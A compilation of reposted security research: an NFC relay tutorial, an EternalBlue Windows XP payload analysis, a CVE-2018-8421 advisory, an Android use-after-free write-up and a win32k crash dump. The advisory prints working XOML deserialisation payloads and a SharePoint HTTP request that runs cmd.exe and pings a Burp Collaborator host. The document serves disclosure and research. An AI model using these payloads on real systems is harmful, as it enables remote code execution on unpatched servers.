In DEF CON 25, Haoqi Shan and Jian Yuan presented Man in the NFCimplementing two special boards with SDR(Software Defined-Radio) technology to established a dedicated connection to communicate the NFC information faster and with a better control than using cellphones in the same WiFi network.


Relay

The main difference between a relay attack and replay attack is that the relay attack has to be done at the moment when the attacker is extracting the data; in the other hand, the replay attack occurs when an attacker extract the information from a transaction and save it to replay it later using a third-party device.

With this in mind, we know that we need at least two devices to approach this project, and they could be from different technologies that support NFC:

  • Arduinos
  • Raspberry Pis
  • Laptops
  • PCs
  • etc…

Even we can combine them to make a relay. For the communication part, we have different options:

  • SDR
  • USB
  • WiFi
  • Bluetooth
  • etc..

To understand the concept, I will start with a “local” relay using two Acr122u USB devices connected in the same computer by USB. One of them will act as PoS, and the second will mimic a smart card. All the connections will be handle by a Python script, and my laptop will be the bridge between them:

PoC

The idea of this concept is to understand how to design a simple NFC sniffer. To read, see and study the NFC tags. With this design, I can track the communication process without making a real transaction. However, be aware that the ATC(Application Transaction Counter) will increase during this process.

To accomplish this task, the easier and simpler software to use is the library of RFIDIot. Specifically, I will use the pn532mitm.py script. In its help section, we can find different examples to run the code when we have two or more Acr122 connected to our computer or even to run it remotely:

Use device no. 2 as the READER and device no. 3 as the EMULATOR:

python pn532mitm.py -r 2 3

Use device no. 2 as the EMULATOR and remote system on 192.168.1.3 port 5000 as the READER:

python pn532mitm.py -r 2 reader:192.168.1.3:5000

In this video, I run the command:

python pn532mitm.py -r 0 1

Being 0 the first reader and 1 the emulator:

We can play with the code to alter the data in real time which is one of the most useful things for relay attacks. Also, we can copy the APDU commands in a decoder to know the meaning of the tags using https://www.emvlab.org/tlvutils/

Dissecting a Bug in the EternalBlue Client for Windows XP (FuzzBunch)

( Original text by zerosum0x0 )

 

Background

Pwning Windows 7 was no problem, but I would re-visit the EternalBlue exploit against Windows XP for a time and it never seemed to work. I tried all levels of patching and service packs, but the exploit would either always passively fail to work or blue-screen the machine. I moved on from it, because there was so much more of FuzzBunch that was unexplored.

Well, one day on a pentest a wild Windows XP appeared, and I figured I would give FuzzBunch a go. To my surprise, it worked! And on the first try.

Why did this exploit work in the wild but not against runs in my «lab»?

tl;dr: Differences in NT/HAL between single-core/multi-core/PAE CPU installs causes FuzzBunch’s XP payload to abort prematurely on single-core installs.

Multiple Exploit Chains

Keep in mind that there are several versions of EternalBlue. The Windows 7 kernel exploit has been well documented. There are also ports to Windows 10 which have been documented by myself and JennaMagius as well as sleepya_.

But FuzzBunch includes a completely different exploit chain for Windows XP, which cannot use the same basic primitives (i.e. SMB2 and SrvNet.sys do not exist yet!). I discussed this version in depth at DerbyCon 8.0 (slides / video).

tl;dw: The boot processor KPCR is static on Windows XP, and to gain shellcode execution the value of KPRCB.PROCESSOR_POWER_STATE.IdleFunction is overwritten.

Payload Methodology

As it turns out, the exploit was working just fine in the lab. What was failing was FuzzBunch’s payload.

The main stages of the ring 0 shellcode performs the following actions:

  1. Obtains &nt and &hal using the now-defunct KdVersionBlock trick
  2. Resolves some necessary function pointers, such as hal!HalInitializeProcessor
  3. Restores the boot processor KPCR/KPRCB which was corrupted during exploitation
  4. Runs DoublePulsar to backdoor the SMB service
  5. Gracefully resumes execution at a normal state (nt!PopProcessorIdle)

Single Core Branch Anomaly

Setting a couple hardware breakpoints on the IdleFunction switch and +0x170 into the shellcode (after a couple initial XOR/Base64 shellcode decoder stages), it is observed that a multi-core machine install branches differently than the single-core machine.

1 kd> ba w 1 ffdffc50 "ba e 1 poi(ffdffc50)+0x170;g;"

The multi-core machine has acquired a function pointer to hal!HalInitializeProcessor.

Presumably, this function will be called to clean up the semi-corrupted KPRCB.

The single-core machine did not find hal!HalInitializeProcessor… sub_547 instead returned NULL. The payload cannot continue, and will now self destruct by zeroing as much of itself out as it can and set up a ROP chain to free some memory and resume execution.

Note: A successful shellcode execution will perform this action as well, just after installing DoublePulsar first.

Root Cause Analysis

The shellcode function sub_547 does not properly find hal!HalInitializeProcessor on single core CPU installs, and thus the entire payload is forced to abruptly abort. We will need to reverse engineer the shellcode function to figure out exactly why the payload is failing.

There is an issue in the kernel shellcode that does not take into account all of the different types of the NT kernel executables are available for Windows XP. Specifically, the multi-core processor version of NT works fine (i.e. ntkrnlamp.exe), but a single core install (i.e. ntoskrnl.exe) will fail. Likewise, there is a similar difference in halmacpi.dll vs halacpi.dll.

The NT Red Herring

The first operation that sub_547 performs is to obtain HAL function imports used by the NT executive. It finds HAL functions by first reading at offset 0x1040 into NT.

On multi-core installs of Windows XP, this offset works as intended, and the shellcode finds hal!HalQueryRealTimeClock:

However, on single-core installations this is not a HAL import table, but instead a string table:

At first I figured this was probably the root cause. But it is a red herring, as there is correction code. The shellcode will check if the value at 0x1040 is an address in the range within HAL. If not it will subtract 0xc40 and start searching in increments of 0x40 for an address within the HAL range, until it reaches 0x1040 again.

Eventually, the single-core version will find a HAL function, this time hal!HalCalibratePerformanceCounter:

This all checks out and is fine, and shows that Equation Group did a good job here for determining different types of XP NT.

HAL Variation Byte Table

Now that a function within HAL has been found, the shellcode will attempt to locate hal!HalInitializeProcessor. It does so by carrying around a table (at shellcode offset 0x5e7) that contains a 1-byte length field followed by an expected sequence of bytes. The original discovered HAL function address is incremented in search of those bytes within the first 0x20 bytes of a new function.

The desired 5 bytes are easily found in the multi-core version of HAL:

However, the function on single-core HAL is much different.

There is a similar mov instruction, but it is not a movzx. The byte sequence being searched for is not present in this function, and consequently the function is not discovered.

Conclusion

It is well known (from many flame wars on Windows kernel development mailing lists) that searching for byte sequences to identify functions is unreliable across different versions and service packs of Windows. We have learned from this bug that exploit developers must also be careful to account for differences in single/multi-core and PAE variations of NTOSKRNL and HAL. In this case, the compiler decided to change one movzx instruction to a mov instruction and broke the entire payload.

It is very curious that the KdVersionBlock trick and a byte sequence search is used to find functions in this payload. The Windows 7 payload finds NT and its exports in, as seen, a more reliable way, by searching backwards in memory from the KPCR IDT and then parsing PE headers.

This HAL function can be found through such other means (it appears readily exported by HAL). The corrupted KPCR can also be cleaned up in other ways. But those are both exercises for the reader.

There is circumstantial evidence that primary FuzzBunch development was started in late 2001. The payload seems maybe it was only written for and tested against multi-core processors? Perhaps this could be a indicator as to how recent the XP exploit was first written. Windows XP was broadly released on October 25, 2001. While this is the same year that IBM invented the first dual-core processor (POWER4), Intel and AMD would not have a similar offering until 2004 and 2005, respectively.

This is yet another example of the evolution of these ETERNAL exploits. The Equation Group could have re-used the same exploit and payload primitives, yet chose to develop them using many different methodologies, perhaps so if one methodology was burned they could continue to reap the benefits of their exploit diversification. There is much esoteric Windows kernel internals knowledge that can be learned from studying these exploits.

Technical Advisory: Bypassing Microsoft XOML Workflows Protection Mechanisms using Deserialisation of Untrusted Data

( Original text by Soroush Dalili )

Vendor: Microsoft
Vendor URL: https://www.microsoft.com/
Versions affected: .NET Framework before September 2018 patch
Systems Affected: .NET Framework Workflow library
Author: Soroush Dalili (@irsdl)
Advisory URL / CVE Identifier: https://portal.msrc.microsoft.com/en-us/security-guidance/advisory/CVE-2018-8421 
Risk: Critical

Summary

In the .NET Framework, workflows can be created by compiling an XOML file using the libraries within the System.Workflow namespace. The workflow compiler can use the /nocode and /checktypesarguments to stop execution of untrusted code. The /nocode is used to disallow the code-behind model that checked the workflows on the server-side to ensure they do not contain any code. The second argument is used to only allow whitelisted types from the configuration file.

All these protection mechanisms could be bypassed by exploiting a deserialisation issue similar to CVE-2018-8284 that was reported previously (https://www.nccgroup.trust/uk/our-research/technical-advisory-bypassing-workflows-protection-mechanisms-remote-code-execution-on-sharepoint/).

Location

The Microsoft (R) Windows Workflow Compiler tool was used as a proof of concept to compile the following XOML files in order to execute code or commands. This tool was used with /nocode/checktypes in order to show that code could still be executed:

wfc test.xoml /nocode:+ /checktypes:+

Although only the first example worked on the SharePoint application, it should be noted that it could potentially be vulnerable to command execution by discovering other gadgets within the used libraries or by spending more time on finding a way to load arbitrary namespaces.

Impact

Low privileged SharePoint users by default have access to their personal sites and can create workflows for themselves. Therefore, authenticated users of SharePoint could potentially execute commands on the server similar to https://www.nccgroup.trust/uk/our-research/technical-advisory-bypassing-workflows-protection-mechanisms-remote-code-execution-on-sharepoint/.

Other applications that compile XOML files are also susceptible to code execution.

Details

In order to provide examples to exploit this vulnerability, a number of gadgets were used based on the whitepaper written by Alvaro Muñoz and Oleksandr Mirosh, Friday the 13th JSON Attacks (https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-JSON-Attacks-wp.pdf).

Example 1 – using ObjectDataProvider

The following example shows an XOML file that could be used to call a method within an arbitrary library (in this example: System.Diagnostics.Process.Start()) without passing any parameters:

<SequentialWorkflowActivity x:Class="." x:Name="Workflow2" xmlns:x="http://schemas.microsoft.com/winfx/2006/xaml"
xmlns="http://schemas.microsoft.com/winfx/2006/xaml/workflow">
     <Rd:ResourceDictionary xmlns="http://schemas.microsoft.com/winfx/2006/xaml/presentation"
                         xmlns:x="http://schemas.microsoft.com/winfx/2006/xaml"
                         xmlns:System="clr-namespace:System;assembly=mscorlib, Version=4.0.0.0,    
Culture=neutral, PublicKeyToken=b77a5c561934e089"
                         xmlns:Diag="clr-namespace:System.Diagnostics;assembly=System,             
Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089"
                         xmlns:Rd="clr-namespace:System.Windows;Assembly=PresentationFramework, 
Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35"
                         xmlns:ODP="clr-
namespace:System.Windows.Data;Assembly=PresentationFramework, Version=4.0.0.0, Culture=neutral,    
PublicKeyToken=31bf3856ad364e35"
                   >   
      <ODP:ObjectDataProvider x:Key="LaunchCmd" ObjectType="{x:Type Diag:Process}"                 
MethodName="Start">
      </ODP:ObjectDataProvider>
    </Rd:ResourceDictionary>
</SequentialWorkflowActivity>

By compiling the above file or by sending it to a SharePoint server, the following error message was received showing the code was executed:

Cannot start process because a file name has not been provided

Although it was not possible to find a way to pass parameters to the targeted method, this could still be dangerous by identifying a method that could perform an important action (such as a method that can reset some settings) on the server-side.

Example 2 – using WorkflowDesigner

The following XOML file could execute a command to open calculator during compile time:

When the class name was invalid, the code was executed twice despite having an error:

<SequentialWorkflowActivity x:Class="INVALID!" x:Name="foobar"
                            xmlns:x="http://schemas.microsoft.com/winfx/2006/xaml"
                            xmlns="http://schemas.microsoft.com/winfx/2006/xaml/workflow">
  <sap:WorkflowDesigner
    PropertyInspectorFontAndColorData="&lt;ResourceDictionary xmlns=&quot;http://schemas.microsoft.com/winfx/2006/xaml/presentation&quot; xmlns:x=&quot;http://schemas.microsoft.com/winfx/2006/xaml&quot; xmlns:System=&quot;clr-namespace:System;assembly=mscorlib&quot; xmlns:Diag=&quot;clr-namespace:System.Diagnostics;assembly=system&quot;&gt;&lt;ObjectDataProvider x:Key=&quot;LaunchCmd&quot; ObjectType=&quot;{x:Type Diag:Process}&quot; MethodName=&quot;Start&quot;&gt;&lt;ObjectDataProvider.MethodParameters&gt;&lt;System:String&gt;cmd&lt;/System:String&gt;&lt;System:String&gt;/c calc &lt;/System:String&gt;&lt;/ObjectDataProvider.MethodParameters&gt;&lt;/ObjectDataProvider&gt;&lt;/ResourceDictionary&gt;"
               xmlns:sap="clr-
namespace:System.Activities.Presentation;assembly=System.Activities.Presentation, 
Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35"
                         >
  </sap:WorkflowDesigner>
</SequentialWorkflowActivity>

When the class name was valid, the code was executed once but with an error:

<SequentialWorkflowActivity x:Class="MyWorkflow" x:Name="foobar"
                            xmlns:x="http://schemas.microsoft.com/winfx/2006/xaml"
                            xmlns="http://schemas.microsoft.com/winfx/2006/xaml/workflow">
   <sap:WorkflowDesigner
     PropertyInspectorFontAndColorData="&lt;ResourceDictionary xmlns=&quot;http://schemas.microsoft.com/winfx/2006/xaml/presentation&quot; xmlns:x=&quot;http://schemas.microsoft.com/winfx/2006/xaml&quot; xmlns:System=&quot;clr-namespace:System;assembly=mscorlib&quot; xmlns:Diag=&quot;clr-namespace:System.Diagnostics;assembly=system&quot;&gt;&lt;ObjectDataProvider x:Key=&quot;LaunchCmd&quot; ObjectType=&quot;{x:Type Diag:Process}&quot; MethodName=&quot;Start&quot;&gt;&lt;ObjectDataProvider.MethodParameters&gt;&lt;System:String&gt;cmd&lt;/System:String&gt;&lt;System:String&gt;/c calc &lt;/System:String&gt;&lt;/ObjectDataProvider.MethodParameters&gt;&lt;/ObjectDataProvider&gt;&lt;/ResourceDictionary&gt;"
       xmlns:sap="clr-
namespace:System.Activities.Presentation;assembly=System.Activities.Presentation, 
Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35"
                         >
  </sap:WorkflowDesigner>
</SequentialWorkflowActivity>

Although the above payload worked successfully when compiled in Visual Studio or using the WFC command (even with /nocode /checktypes flags), it showed the following error message when tested in SharePoint:

The type or namespace name 'Presentation' does not exist in the namespace 'System.Activities' (are you missing an assembly reference?)

Example 3 – using AssemblyInstaller:

The following example shows another deserialisation gadget that needed an arbitrary DLL file to exist on the server. This DLL file was created using a technique described at https://blog.cylance.com/implications-of-loading-net-assemblies.

<SequentialWorkflowActivity x:Class="MyWorkflow" x:Name="foobarx"
                            xmlns:x="http://schemas.microsoft.com/winfx/2006/xaml"
                            xmlns="http://schemas.microsoft.com/winfx/2006/xaml/workflow">
   <sci:AssemblyInstaller Path="c:\path\Source.dll" xmlns:sci="clr-namespace:System.Configuration.Install;assembly=System.Configuration.Install, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a">
   </sci:AssemblyInstaller>
</SequentialWorkflowActivity>

The above payload did not work in SharePoint as it could not find the namespace.

Recommendation

Apply the September 2018 Microsoft patch.

Vendor Communication

17/05/2018 Reported to Microsoft

17/05/2018 Case number assigned by Microsoft

11/09/2018 Patch was released

13/09/2018 Microsoft was contacted to check whether the reporter could publish the details
24/09/2018 Microsoft asked for more time before releasing the details to fix some crashes caused by the fix

02/11/2018 Permission granted from Microsoft to publish the details

Update (11/11/2018)

After releasing the initial potential code execution PoC on SharePoint, Soroush recevied a tip from Alvaro on Twitter to also try ProcessStartInfo and ObjectInstance. This method worked successfully after creating an appropriate XAML and including the required namespaces.

It is therefore now possible to execute code and commands on an unpatched server which increases risk of this issue from high to critical. Note that the .NET Framework needs updating rather than SharePoint in order to patch this issue similar to CVE-2018-8284.

The following HTTP POST request shows a PoC that could execute code on SharePoint:

POST /_vti_bin/webpartpages.asmx HTTP/1.1
Host: TargetHost
SOAPAction: http://microsoft.com/sharepoint/webpartpages/ValidateWorkflowMarkupAndCreateSuppor
tObjects
Content-Type: text/xml; charset=utf-8
Content-Length: 1709
Cookie: [valid cookies or authorization header instead - fixed by burp]

<?xml version="1.0" encoding="utf-8"?>
<soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" 
xmlns:xsd="http://www.w3.org/2001/XMLSchema" 
xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body<ValidateWorkflo
wMarkupAndCreateSupportObjects 
xmlns="http://microsoft.com/sharepoint/webpartpages"><workflowMarkupText><![CDATA[
<SequentialWorkflowActivity x:Class="." x:Name="Workflow2" 
xmlns:x="http://schemas.microsoft.com/winfx/2006/xaml"
xmlns="http://schemas.microsoft.com/winfx/2006/xaml/workflow">
<Rd:ResourceDictionary xmlns:System="clr-namespace:System;assembly=mscorlib, 
Version=4.0.0.0, 
Culture=neutral, PublicKeyToken=b77a5c561934e089" xmlns:Diag="clr-
namespace:System.Diagnostics;assembly=System,
Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089" xmlns:Rd="clr-
namespace:System.Windows;Assembly=PresentationFramework,
Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35" 
xmlns:ODP="clr-namespace:System.Windows.Data;Assembly=PresentationFramework, 
Version=4.0.0.0, Culture=neutral, 
PublicKeyToken=31bf3856ad364e35">
<ODP:ObjectDataProvider x:Key="LaunchCmd" MethodName="Start">
<ObjectDataProvider.ObjectInstance><Diag:Process><Diag:Process.StartInfo><Diag:Pro
cessStartInfo FileName="cmd.exe" Arguments="/c ping 
foobar.gyi5bjohiab9obycusymb22tkkqaez.burpcollaborator.net"></Diag:ProcessStartInf
o></Diag:Process.StartInfo></Diag:Process>
</ObjectDataProvider.ObjectInstance>
</ODP:ObjectDataProvider>
</Rd:ResourceDictionary>
</SequentialWorkflowActivity>
]]></workflowMarkupText>
<rulesText></rulesText><configBlob></configBlob><flag>2</flag></ValidateWorkflowMa
rkupAndCreateSupportObjects></soap:Body></soap:Envelope>

If a path was not accessible, the server returned System.IO.FileNotFoundException, and when access was not sufficient to create, change or validate a workflow, the server responded with the System.NullReferenceException: Object reference not set to an instance of an object error message. Normally authenticated users should be able to create workflows in their spaces. The personal site can normally be found by going to the /my path and that should redirect users to their personal site (if it exists) then the payload can be sent to:

/my/personal/[SomeName]/[SomeSiteName]/_vti_bin/webpartpages.asmx

or

/my/personal/[yourUsername]/_vti_bin/webpartpages.asmx

If users have control over any other sites in SharePoint to create workflows, those paths can be used also.

The following GIF video file shows this issue in practice, exploited to obtain a reverse shell where the permissions were sufficient:

 

 

CVE-2018-9539: Use-after-free vulnerability in privileged Android service

( Original text by Tamir Zahavi-Brunner )

As part of our platform research in Zimperium zLabs, I have recently discovered a vulnerability in a privileged Android service called MediaCasService and reported it to Google. Google designated it as CVE-2018-9539 and patched it in the November security update (2018-11-01 patch level).

In this blog post, I will describe the technical details of this use-after-free vulnerability, along with some background information and the details of the proof-of-concept I wrote that triggers it. Link to the full proof-of-concept is available at the end of the blog post.

MediaCasService

The Android service called MediaCasService (AKA android.hardware.cas) allows apps to descramble protected media streams. The communication between apps and MediaCasService is performed mostly through two interfaces/objects: Cas, which manages the keys (reference: MediaCas Java API), and Descrambler, which performs the actual descramble operation (reference: MediaDescrambler Java API).

Underneath the MediaCasService API, the actual operations are performed by a plugin, which is a library that the service loads. In our case, the relevant plugin is the ClearKey plugin, whose library is libclearkeycasplugin.so.

In order to descramble data, apps need to use both the Cas object and the Descrambler object. The Descrambler object is used for the actual descramble operation, but in order to do that, it needs to be linked to a session with a key. In order to manage sessions and add keys to them, the Cas object is used.

Internally, the ClearKey plugin manages sessions in the ClearKeySessionLibrary, which is essentially a hash table. The keys are session IDs, while the values are the session objects themselves. Apps receive the session IDs which they can use to refer to the session objects in the service.

After creating a session and attaching a key to it, apps are in charge of linking it to a Descrambler object. The descrambler object has a member called mCASSession, which is a reference to its session object and is used in descramble operations. While there is no obligation to do so, once a Descrambler session is linked with a session object, an app can remove that session from the session library. In that case, the only reference to the session object will be through the Descrambler’s mCASSession.

An important note is that references to session objects are held through strong pointers (sp class). Hence, each session object has a reference count, and once that reference count reaches zero the session object is released. References are either through the session library or through a Descrambler’s mCASSession.

The vulnerability

Let’s take a look at ClearKey’s descramble method:

Snippet from frameworks/av/drm/mediacas/plugins/clearkey/ClearKeyCasPlugin.cpp (source)

 

As you can see, the session object referenced by mCASSession is used here in order to decrypt, but its reference count does not increase while it is being used. This means that it is possible for the decrypt function to run with a session object which was released, as its reference count was decreased to zero.

This allows an attacker to cause a use-after-free (the session object will be used after it was freed) through a race condition. Before running descramble, the attacker would remove the reference to the session object from the session library, leaving the Descrambler’s mCASSession as the only reference to the session. Then, the attacker would run descramble at the same time as setting the session of the Descrambler to another session, which can cause a race condition. Setting a different session for the Descrambler would release the original session object (its reference count would drop to zero); if this happens in the middle of mCASSession->decrypt, then decrypt would be using a freed session object.

Proof of concept

Before going into the details of the PoC, there is one note about its effect.

In this PoC, nothing gets allocated instead of the released session object; we just let the decrypt function use a freed object. One of the members of the session object that decrypt uses is a mKeyLock, which is essentially a mutex that decrypt attempts to lock:

Snippet from frameworks/av/drm/mediacas/plugins/clearkey/ClearKeyCasPlugin.cpp (source)

 

As you can expect, when a session object is released, the mutex of its mKeyLock is destroyed. Therefore, when the use-after-free is triggered, decrypt attempts to use an already destroyed mutex.

Interestingly, this is where a recent change comes into place. Up until Android 8.1, attempting to use a destroyed mutex would return an error, which in this case would simply be ignored. Since Android 9, attempting to use a destroyed mutex results in an abort, which crashes the process:

Snippet from bionic/libc/bionic/pthread_mutex.cpp (source)

 

This means that while the PoC should always cause a use-after-free, only Android 9 has a way to detect whether it worked or not. In older versions, there is no noticeable effect. Therefore, the PoC is mainly intended to run on Android 9.

After covering the effect of the PoC, here is a high-level overview of the actions it performs:

  1. Initialize Cas and Descrambler objects.
  2. Use the Cas object in order to create two sessions: session1 and session2. Both of them will be referenced from the session library.
  3. Link session1 to the Descrambler object, and then use the Cas object in order to remove it from the session library. Now, session1 only has a reference from the Descrambler object; its reference count is one.
  4. At the same time:
    • Run multiple threads which perform descramble through the Descrambler object.
    • Set the session of the Descrambler object to session2.
  5. If running descramble in one of the threads did not return, it means that the PoC was successful and the service crashed. If not, retry again from step 2.

Full source code for the PoC is available on GitHub .

Timeline

  • 08.2018 – Vulnerability discovered
  • 08.2018 – Vulnerability details + PoC sent to Google
  • 11.2018 – Google distributed patches

If you have any questions, you are welcome to DM me on Twitter (@tamir_zb).

 

Microsoft Windows win32k.sys — Invalid Pointer Vulnerability (MSRC Case 48212)

( Original text by Nafiez )

Overview

There’s a kernel unhandled exception happened in GDI function NtUserGetDCEx and turn the OS to BSOD during boot-time. To trigger the issue it is required to have Administrator privilege to create AppInit_DLL registry key and a simple DLL that can pop a message box. In this case, we installed Anti-Virus called BullGuard (https://www.bullguard.com) in Windows 7 64-bit system with the registry AppInit_DLL and its DLL created. After installation, upon winlogon.exe taking place, a BSOD happened. We suspect the DLL mapped itself to winlogon.exe and this making the Windows itself prone to failed to dereference pointer in kernel thus making it BSOD. We believe this happened when BullGuard AV itself is vulnerable to AppInit_DLL technique and allowed to load the DLL during process start at winlogon.exe. It seems win32k.sys driver lacked of pointer checking during boot-time process.

The issue has been reported to Microsoft (MSRC Case 48212) and the confirmed the finding are valid. Howevever the issue does not meet their service bar (which is required Administrator privilege to perform changes on the registry).

It turns out that not only me to found the issue, omeg posted in OpenRCE forum regarding his finding too (http://www.openrce.org/blog/view/966/Null_pointer_dereference_in_win32k).

Crash Analysis

Initial analysis found the root cause was coming from win32k!NtUserGetDCEx+b7.

BugCheck 3B, {c0000005, fffff9600016126f, fffff880045ceae0, 0}

*** WARNING: Unable to verify checksum for pwned.dll
*** ERROR: Module load completed but symbols could not be loaded for pwned.dll
Probably caused by : win32k.sys ( win32k!NtUserGetDCEx+b7 )

...

SYSTEM_SERVICE_EXCEPTION (3b)
An exception happened while executing a system service routine.
Arguments:
Arg1: 00000000c0000005, Exception code that caused the bugcheck
Arg2: fffff9600016126f, Address of the instruction which caused the bugcheck
Arg3: fffff880045ceae0, Address of the context record for the exception that caused the bugcheck
Arg4: 0000000000000000, zero.

…

kd> r
Last set context:
rax=fffff900c011b010 rbx=fffffa8005095ac0 rcx=0000000000000000
rdx=0000000000000001 rsi=0000000000000000 rdi=0000000000000000
rip=fffff9600016126f rsp=fffff880045cf4b0 rbp=0000000000000000
 r8=0000000000000003  r9=0000000000000000 r10=fffff960001611b8
r11=000007fffffde000 r12=0000000000000000 r13=0000000000000003
r14=0000000000000000 r15=0000000000000000
iopl=0         nv up ei pl zr na po nc
cs=0010  ss=0018  ds=002b  es=002b  fs=0053  gs=002b             efl=00010246
win32k!NtUserGetDCEx+0xb7:
fffff960`0016126f 488b4108        mov     rax,qword ptr [rcx+8] ds:002b:00000000`00000008=????????????????

Looking at the BugCheck, it cause an SYSTEM_SERVICE_EXCEPTION (3b) and the first argument showing an Access Violation is happened during boot time. Stack trace:

STACK_TEXT:  
fffff880`045cf4b0 fffff800`02af39d3 : fffffa80`05095ac0 fffff880`045cf590 00000000`00000000 00000000`0024d810 : win32k!NtUserGetDCEx+0xb7
fffff880`045cf510 00000000`76dd564a : 00000000`76e321db 00000000`0024d810 00000000`00000000 00000000`00000000 : nt!KiSystemServiceCopyEnd+0x13
00000000`0024d4f8 00000000`76e321db : 00000000`0024d810 00000000`00000000 00000000`00000000 00000000`00440000 : USER32!NtUserGetDCEx+0xa
00000000`0024d500 00000000`76e31c69 : 00000000`00447410 00000000`0044740b 00000000`00000008 00000000`77008795 : USER32!SoftModalMessageBox+0x21b
00000000`0024d630 00000000`76e314b7 : 00000000`00000000 00000000`00000000 00000000`00000000 00000000`0045b1e0 : USER32!MessageBoxWorker+0x31d
00000000`0024d7f0 00000000`76e3166a : 00000000`0045b1e0 000007fe`fcaa4000 00000000`0045d500 00000000`0045b1e0 : USER32!MessageBoxTimeoutW+0xb3
00000000`0024d8c0 00000000`76e31352 : 00000000`00000001 000007fe`0000000e 00000000`0024df00 00000000`00000000 : USER32!MessageBoxTimeoutA+0x18a
00000000`0024d930 000007fe`fca9101d : 00000000`00000001 000007fe`fca91721 00000000`00000000 00000000`0024df00 : USER32!MessageBoxA+0x4e
00000000`0024d970 00000000`00000001 : 000007fe`fca91721 00000000`00000000 00000000`0024df00 00000000`00000002 : pwned+0x101d
00000000`0024d978 000007fe`fca91721 : 00000000`00000000 00000000`0024df00 00000000`00000002 000007fe`fca91058 : 0x1
00000000`0024d980 00000000`00000000 : 00000000`0024df00 00000000`00000002 000007fe`fca91058 00000000`00000000 : pwned+0x1721

Full dump (!analyze -v)

*******************************************************************************
*                                                                             *
*                        Bugcheck Analysis                                    *
*                                                                             *
*******************************************************************************

SYSTEM_SERVICE_EXCEPTION (3b)
An exception happened while executing a system service routine.
Arguments:
Arg1: 00000000c0000005, Exception code that caused the bugcheck
Arg2: fffff9600016126f, Address of the instruction which caused the bugcheck
Arg3: fffff880045ceae0, Address of the context record for the exception that caused the bugcheck
Arg4: 0000000000000000, zero.

Debugging Details:
------------------


KEY_VALUES_STRING: 1


TIMELINE_ANALYSIS: 1


DUMP_CLASS: 1

DUMP_QUALIFIER: 0

BUILD_VERSION_STRING:  7601.24231.amd64fre.win7sp1_ldr.180810-0600

DUMP_TYPE:  0

BUGCHECK_P1: c0000005

BUGCHECK_P2: fffff9600016126f

BUGCHECK_P3: fffff880045ceae0

BUGCHECK_P4: 0

EXCEPTION_CODE: (NTSTATUS) 0xc0000005 - The instruction at 0x%p referenced memory at 0x%p. The memory could not be %s.

FAULTING_IP: 
win32k!NtUserGetDCEx+b7
fffff960`0016126f 488b4108        mov     rax,qword ptr [rcx+8]

CONTEXT:  fffff880045ceae0 -- (.cxr 0xfffff880045ceae0)
rax=fffff900c011b010 rbx=fffffa8005095ac0 rcx=0000000000000000
rdx=0000000000000001 rsi=0000000000000000 rdi=0000000000000000
rip=fffff9600016126f rsp=fffff880045cf4b0 rbp=0000000000000000
 r8=0000000000000003  r9=0000000000000000 r10=fffff960001611b8
r11=000007fffffde000 r12=0000000000000000 r13=0000000000000003
r14=0000000000000000 r15=0000000000000000
iopl=0         nv up ei pl zr na po nc
cs=0010  ss=0018  ds=002b  es=002b  fs=0053  gs=002b             efl=00010246
win32k!NtUserGetDCEx+0xb7:
fffff960`0016126f 488b4108        mov     rax,qword ptr [rcx+8] ds:002b:00000000`00000008=????????????????
Resetting default scope

CPU_COUNT: 1

CPU_MHZ: 8f6

CPU_VENDOR:  GenuineIntel

CPU_FAMILY: 6

CPU_MODEL: 3d

CPU_STEPPING: 4

CPU_MICROCODE: 6,3d,4,0 (F,M,S,R)  SIG: 2A'00000000 (cache) 2A'00000000 (init)

DEFAULT_BUCKET_ID:  WIN7_DRIVER_FAULT

BUGCHECK_STR:  0x3B

PROCESS_NAME:  winlogon.exe

CURRENT_IRQL:  2

ANALYSIS_SESSION_HOST:  HEAVEN-PC

ANALYSIS_SESSION_TIME:  10-24-2018 21:44:25.0111

ANALYSIS_VERSION: 10.0.17134.1 amd64fre

LAST_CONTROL_TRANSFER:  from fffff80002af39d3 to fffff9600016126f

STACK_TEXT:  
fffff880`045cf4b0 fffff800`02af39d3 : fffffa80`05095ac0 fffff880`045cf590 00000000`00000000 00000000`0024d810 : win32k!NtUserGetDCEx+0xb7
fffff880`045cf510 00000000`76dd564a : 00000000`76e321db 00000000`0024d810 00000000`00000000 00000000`00000000 : nt!KiSystemServiceCopyEnd+0x13
00000000`0024d4f8 00000000`76e321db : 00000000`0024d810 00000000`00000000 00000000`00000000 00000000`00440000 : USER32!NtUserGetDCEx+0xa
00000000`0024d500 00000000`76e31c69 : 00000000`00447410 00000000`0044740b 00000000`00000008 00000000`77008795 : USER32!SoftModalMessageBox+0x21b
00000000`0024d630 00000000`76e314b7 : 00000000`00000000 00000000`00000000 00000000`00000000 00000000`0045b1e0 : USER32!MessageBoxWorker+0x31d
00000000`0024d7f0 00000000`76e3166a : 00000000`0045b1e0 000007fe`fcaa4000 00000000`0045d500 00000000`0045b1e0 : USER32!MessageBoxTimeoutW+0xb3
00000000`0024d8c0 00000000`76e31352 : 00000000`00000001 000007fe`0000000e 00000000`0024df00 00000000`00000000 : USER32!MessageBoxTimeoutA+0x18a
00000000`0024d930 000007fe`fca9101d : 00000000`00000001 000007fe`fca91721 00000000`00000000 00000000`0024df00 : USER32!MessageBoxA+0x4e
00000000`0024d970 00000000`00000001 : 000007fe`fca91721 00000000`00000000 00000000`0024df00 00000000`00000002 : pwned+0x101d
00000000`0024d978 000007fe`fca91721 : 00000000`00000000 00000000`0024df00 00000000`00000002 000007fe`fca91058 : 0x1
00000000`0024d980 00000000`00000000 : 00000000`0024df00 00000000`00000002 000007fe`fca91058 00000000`00000000 : pwned+0x1721


THREAD_SHA1_HASH_MOD_FUNC:  28860cd61556fec47ee8b98cee370782542f9f75

THREAD_SHA1_HASH_MOD_FUNC_OFFSET:  96b696341545d28bd11ab89cef209459add5d6ad

THREAD_SHA1_HASH_MOD:  733a7efb513a8a4310aebdea1f93670be82694d5

FOLLOWUP_IP: 
